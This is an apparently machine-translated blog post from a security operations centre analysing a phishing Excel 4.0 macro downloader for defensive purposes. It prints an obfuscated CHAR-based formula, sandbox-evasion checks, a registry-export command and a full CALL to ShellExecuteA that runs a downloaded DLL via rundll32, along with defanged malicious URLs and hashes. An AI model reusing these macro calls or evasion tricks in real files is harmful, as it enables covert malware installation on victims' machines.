Everyday Life Tinkoff Security Operations Center: Análise de único carregador de inicialização

Olá Habr!

Em nosso Centro de operações de segurança Tinkoff, analisamos regularmente as técnicas usadas em malware e ataques e, recentemente, encontramos um arquivo interessante sobre o qual gostaríamos de falar.

imagem

A técnica usada para criar esta obra-prima é conhecida há mais de 20 anos, mas mesmo décadas depois permanece relevante, pois as chamadas de algumas verificações na macro não são suspeitas e podem ser usadas em documentos legítimos. Este é um downloader de malware escrito em macros do Excel 4.0.

Ferramentas


Como parte da análise, usaremos ferramentas de terceiros ao mínimo e seguiremos com um conjunto padrão de programas:

  • Microsoft Office Suite
  • arquivo;
  • editor de texto;
  • como uma ferramenta para analisar ações de software, usaremos o Sysmon;
  • como ambiente de análise, usaremos uma VM com o Windows 7 a bordo

Mnogabukaf


O documento que vamos analisar é uma pasta de trabalho do Excel no formato xls. O malware é entregue em emails de phishing, quando o documento é iniciado, a macro descarrega a ramificação do registro, baixa informações sobre as atualizações do Office no site da Microsoft e também baixa e lança .dll malicioso. Após essas etapas, o livro é fechado sem salvar as alterações.

A principal diferença de outros carregadores desse tipo é que ele não usa macros VBA.

Análise estática


A seguir, é apresentado um exemplo de email contendo um documento malicioso.



Abra o anexo em nossa máquina virtual.

Você deve prestar atenção imediatamente: a imagem avisa que o documento está "protegido" e vale a pena abri-lo localmente e clicar em "habilitar conteúdo":



Um aviso de segurança indica que você precisa examinar os projetos no Editor do Visual Basic.

Voltamos ao desenvolvedor - gerenciamento de macro (vbs), mas não vemos macros vbs ou vba:



aqui é a hora de lembrar o que são documentos do escritório.

Cada documento do Microsoft Office é um arquivo compactado que pode ser descompactado usando qualquer arquivador, extraindo o conteúdo do documento:



Após descompactar, vemos que, dentro dos documentos, não há arquivos xml que estamos acostumados a ver, a coisa está no formato de documento mais antigo - xls.

Na extensão xls, o conteúdo não é armazenado no formato Office Open XML, mas no formato binário BIFF8. O documento usa a macro do Excel 4.0, onde macros podem ser executadas nas células do documento.

Vale ressaltar que a planilha com a macro não está oculta, mas a planilha possui um grande número de células vazias, o que dificulta a análise.

Existem ferramentas para analisar arquivos BIFF8, ​​por exemplo, BiffViewer, e para analisar conteúdo, há uma ótima ferramenta - oletools. Mas vamos tentar fazer sem usar utilitários de terceiros.

O Excel também possui um formato baseado em xml - xlsm, você pode salvar o código de macro do VBA e as folhas de macro do Excel 4.0, o que faremos.
A lista completa de formatos disponíveis para o Excel são formatos do Excel .

Nós salvamos nosso documento, descompacte-o:



vamos ver o que está nos arquivos, começar com o diretório macrosheets na pasta xl e encontrar o arquivo com todos os dados na planilha de macro:



Assim, obtemos todos os valores nas células da planilha de macro. A macro em si é ofuscada, as células contêm apenas valores e fórmulas numéricas que convertem esses valores e gravam o resultado em novas células.

Por exemplo, nesta fórmula, os valores numéricos são convertidos em caracteres, concatenados e gravados na célula FK17653.

Fórmula no excel
FORMULA.FILL(CHAR(CV63675+HE4018)&CHAR(DG27830+HE26544)&CHAR(IA33205-EW25294)&CHAR(X1216+BA26751)&CHAR(X1216*ER27642)&CHAR(EC50683*IA4491)&CHAR(CV63675*CQ12674)&CHAR(CV63675-IP35389)&CHAR(DL61540+AP31398)&CHAR(GB59870-IB5677)&CHAR(X1216+DS45768)&CHAR(GB59870+FV60781)&CHAR(AA45534*S4000)&CHAR(CV63675*FK10514)&CHAR(EC50683/GD6905)&CHAR(GB59870+EM58732)&CHAR(HQ31358-GI51882)&CHAR(X1216+FX24913)&CHAR(DL61540*EC63501)&CHAR(HQ31358-IC62223)&CHAR(X1216*BY50777)&CHAR(X1216*FY64649)&CHAR(G64471+DW7092)&CHAR(HQ31358-B26139)&CHAR(HQ31358/I494)&CHAR(G64471*DG37241)&CHAR(DL61540-ES39934)&CHAR(X1216+BX48975),FK17653)

Como resultado da fórmula, obtemos a seguinte linha:



Cada comando macro subsequente é "coletado" por uma fórmula semelhante, gravada na célula e, em seguida, executada.

Para que a macro seja executada automaticamente quando o documento é aberto, a célula da qual o script deve ser iniciado deve ser chamada Auto_Open. Considere o arquivo workbook.xml:

workbook.xml
<?xml version=«1.0» encoding=«UTF-8» standalone=«yes»?>
<workbook xmlns=«schemas.openxmlformats.org/spreadsheetml/2006/main» xmlns:r=«schemas.openxmlformats.org/officeDocument/2006/relationships» xmlns:mc=«schemas.openxmlformats.org/markup-compatibility/2006» mc:Ignorable=«x15» xmlns:x15=«schemas.microsoft.com/office/spreadsheetml/2010/11/main»> appName=«xl» lastEdited=«6» lowestEdited=«6» rupBuild=«14420»/><workbookPr/><mc:AlternateContent xmlns:mc=«schemas.openxmlformats.org/markup-compatibility/2006»> Requires=«x15»><x15ac:absPath url=«C:\Users\User\Desktop\malware\» xmlns:x15ac=«schemas.microsoft.com/office/spreadsheetml/2010/11/ac»/></mc:Choice></mc:AlternateContent>/><sheet name=«Sheet1» sheetId=«1» r:id=«rId1»/><sheet name=«Sheet2» sheetId=«2» r:id=«rId2»/>Sheet2!$IE$65406/>/>/>

Dentro do arquivo, encontramos o nome da linha = "_ xlnm.Auto_OpenT8nee" hidden = "1"> Sheet2! $ IE $ 65406
Isso significa que a célula com a qual a macro é executada, IE65406, está oculta. Agora sabemos o ponto de entrada para a macro.

Análise dinâmica


Nunca execute arquivos suspeitos em sua máquina. Para estudar as ações de software suspeito, é necessário usar um ambiente especialmente preparado: várias caixas de areia ou uma máquina isolada especialmente preparada - virtual ou ferro.

Abra o documento e execute o conteúdo. A janela do prompt de comando pisca e o livro é fechado.
Vamos ver os logs do Sysmon.

Sysmon tem um evento de criação de processo (id 1), mais sobre Sysmon pode ser encontrado aqui .

Pelos logs, vemos que a macro cria arquivos no diretório c: \ users \ public

A seguinte é a mensagem sysmon, que mostra que a ramificação do registro é descarregada e o resultado é gravado no arquivo:

Sysmon Event ID do evento 1
sysmon event id 1
Process Create:
RuleName: technique_id=T1112,technique_name=Modify Registry
ProcessGuid: {2a62482c-b244-5ecf-3a00-000000002700}
ProcessId: 3268
Image: C:\Windows\System32\reg.exe
FileVersion: 6.1.7600.16385 (win7_rtm.090713-1255)
Description: Registry Console Tool
Product: Microsoft Windows Operating System
Company: Microsoft Corporation
OriginalFileName: reg.exe
CommandLine: «C:\Windows\system32\reg.exe» EXPORT HKCU\Software\Microsoft\Office\16.0\Excel\Security C:\Users\Public\IcItdXw.reg /y"
CurrentDirectory: C:\Users\user\Documents\
User: user
LogonGuid: {2a62482c-b1d8-5ecf-3284-010000000000}
LogonId: 0x18432
TerminalSessionId: 1
IntegrityLevel: High
Hashes: SHA1=8BD131B03D6BA865B228CA8EE3239D2EF2B90B74,MD5=D69A9ABBB0D795F21995C2F48C1EB560,SHA256=36414C7E57AFA6136D77FD47F4C55102E35F2475FBCD719728DA7D14B1590E2A,IMPHASH=BC564726CFF18A49EBC14784593A51CA
ParentProcessGuid: {2a62482c-b23f-5ecf-3900-000000002700}
ParentProcessId: 3164
ParentImage: C:\Program Files\Microsoft Office\Office16\EXCEL.EXE
ParentCommandLine: «C:\Program Files\Microsoft Office\Office16\EXCEL.EXE»

Após a conclusão, a macro exclui os arquivos criados.

Para proibir a exclusão de arquivos, altere as permissões na pasta, deixe permissões de leitura e gravação e proíba a exclusão:



Execute o documento novamente, receberemos um erro durante a execução da macro, o que nos permitirá depurá-la.

Isso é possível porque não há tratamento de exceção em algumas chamadas.





Vamos executar a macro passo a passo; durante a depuração, encontramos chamadas de função de bibliotecas DLL, como ShellExecute e URLDownloadToFile . Após a conclusão da macro, os seguintes arquivos estarão na pasta de usuários compartilhados:



Como conhecemos a célula a partir da qual a execução começa, podemos preencher todas as células na planilha de macro. Vamos passar a macro para a função close (false), onde interromperemos a execução clicando no botão "Pause".

Células de verificação do ambiente


Examinando as células que a macro preenche, encontramos várias funções get.window () e get.workspace ()

  • A função get.window () retorna informações sobre a janela atual: status, status da janela, seu nome, opções de exibição etc.
  • A função get.workspace () permite descobrir informações sobre o ambiente em que o documento está sendo executado.

Uma lista completa de chamadas disponíveis para o Excel 4.0 pode ser encontrada nos links.

Aqui, precisamos detalhar mais: meu colega e eu sugerimos que a maioria dessas chamadas está relacionada a tentativas de ignorar caixas de areia:

  • get.winow (7) - verifica se a janela atual está oculta. Retorna verdadeiro ou falso.
  • get.windows (20) - retorna true se a janela estiver maximizada.
  • get.windows (23) - pode retornar os valores 1, 2 e 3.



1 - restaurado
2 - minimizado
3 - maximizado

Assim, ele verifica se a janela atual está aberta:

get.workspace (31) - verifica se a macro está sendo depurada em etapas.
get.workspace (13) - verifique a largura da área de trabalho em pixels: se for menor que 770, o livro será fechado



get.workspace (14) - verifique a altura da área de trabalho em pixels: se for menor que 390, o livro será fechado



get.workspace (19) - verifique a presença de um mouse.
get.workspace (1) - retorna em qual sistema operacional o documento está sendo executado.
No caso de false, em cada verificação, há uma transição para a célula de fechamento do livro sem salvar o resultado.

Chamadas de biblioteca externa


Depois de verificar o ambiente, passamos à funcionalidade principal. Vamos ver como as funções WinAPI são chamadas a partir da macro:

1. A chamada reg.exe, que vimos nos logs do Sysmon.



Para chamar o utilitário, a função ShellExecute da biblioteca shell32.dll é usada, os parâmetros para a função estão espalhados em outras células.

Célula BN16631:



Célula A46097:



Na célula GN47559, o comando para exportar a ramificação do registro necessária é enviado, Get.workspace (2) retorna a versão do Excel.



A célula DX48821 contém o caminho em que o resultado é gravado.



Além disso, na macro, verifica-se a existência do arquivo IcltdXw.reg criado e sua exclusão.

2. Chamando a função URLDownloadToFile. Essa função salva o resultado de uma solicitação get em um arquivo.
A chamada é a seguinte:



Essa chamada nos leva ao site da Microsoft, à página com informações sobre as atualizações do Office.

Parâmetros de função:

Célula BR6547



Célula IN49847



Após executar a instrução, é verificado se o arquivo foi criado e também a leitura do caractere pelo deslocamento no arquivo:



Muito provavelmente, essas ações visam verificar se o ambiente em que o documento está executando tem acesso à Internet.

Na fórmula, a função FILES é passada para iserror e o argumento é o nome do arquivo no qual o resultado da função URLDownloadToFile deve ser gravado: a



célula FM27223 dará controle à função de fechamento do livro:



Após o recebimento bem-sucedido do arquivo da Microsoft, as células são preenchidas para preparar a segunda chamada para a urlmon dll.

Carregamento de carga


E aqui está a segunda chamada, mas para o domínio dehabadi [.] Ir, do qual a carga maliciosa deve ser carregada:



O resultado será gravado em um arquivo na mesma pasta com a extensão html:



Em seguida, encontraremos uma ramificação no código da macro se, na primeira tentativa de baixar a carga útil, falha, uma segunda tentativa será feita, mas a partir de um endereço diferente.

Se o download for bem-sucedido, um aviso aparecerá e a biblioteca carregada será chamada.



A chamada completa é a seguinte:

=CALL("shell32","ShellExecuteA","JJCCJJ",0,"open","c:\windows\systemc32\rundll32.exe","c:\users\public\4hcFC.html,DllRegisterServer",0,5) 

Em uma chamada completa, a função ShellExecuteA é chamada da biblioteca Shell32 com parâmetros para iniciar o rundll32, com o qual a função exportada da biblioteca maliciosa baixada é chamada.

Isso completa a função macro, a carga útil está em funcionamento.

Conclusão


Como foi dito, a tecnologia é bastante antiga ( Excel 4.0 para Windows 3.0 e 3.1 ), mas fornece totalmente a funcionalidade que o malware precisa para atingir seus objetivos. E o objetivo deste arquivo é colocar silenciosamente um software perigoso no sistema que pode causar sérios danos, começando com o roubo de dados pessoais, dados de autorização para sistemas, terminando com corrupção / criptografia de dados no computador e a capacidade de executar o código remotamente.

Para a análise de tais documentos, não é necessário usar utilitários e software especiais; no entanto, vale a pena mencionar um conjunto de scripts de oletools - mais detalhes podem ser encontrados aqui . Terminaremos aqui, abaixo estão indicadores de comprometimento identificados como resultado da análise.

COI recebido:

evans [.] williamdmon [@] wp [.]
eleventalents [.] com
dehabadi [.] e
hxxps: //eleventalents.com/wp-keys.php
hxxps: //dehabadi.ir/wp-keys.php
de88d3774ae006d96121d9b45efbf1ee
a73d1214740330013773cd733b0daf206eae2e03
ba4adb640f777ad9b0881919e9bd1e171e64025d97a37fd585295ab611653419

Uma lista completa de indicadores de comprometimento.

Referências:


Trabalhou na análise:

Frolov Ilya
Kolenchuk Alexey

All Articles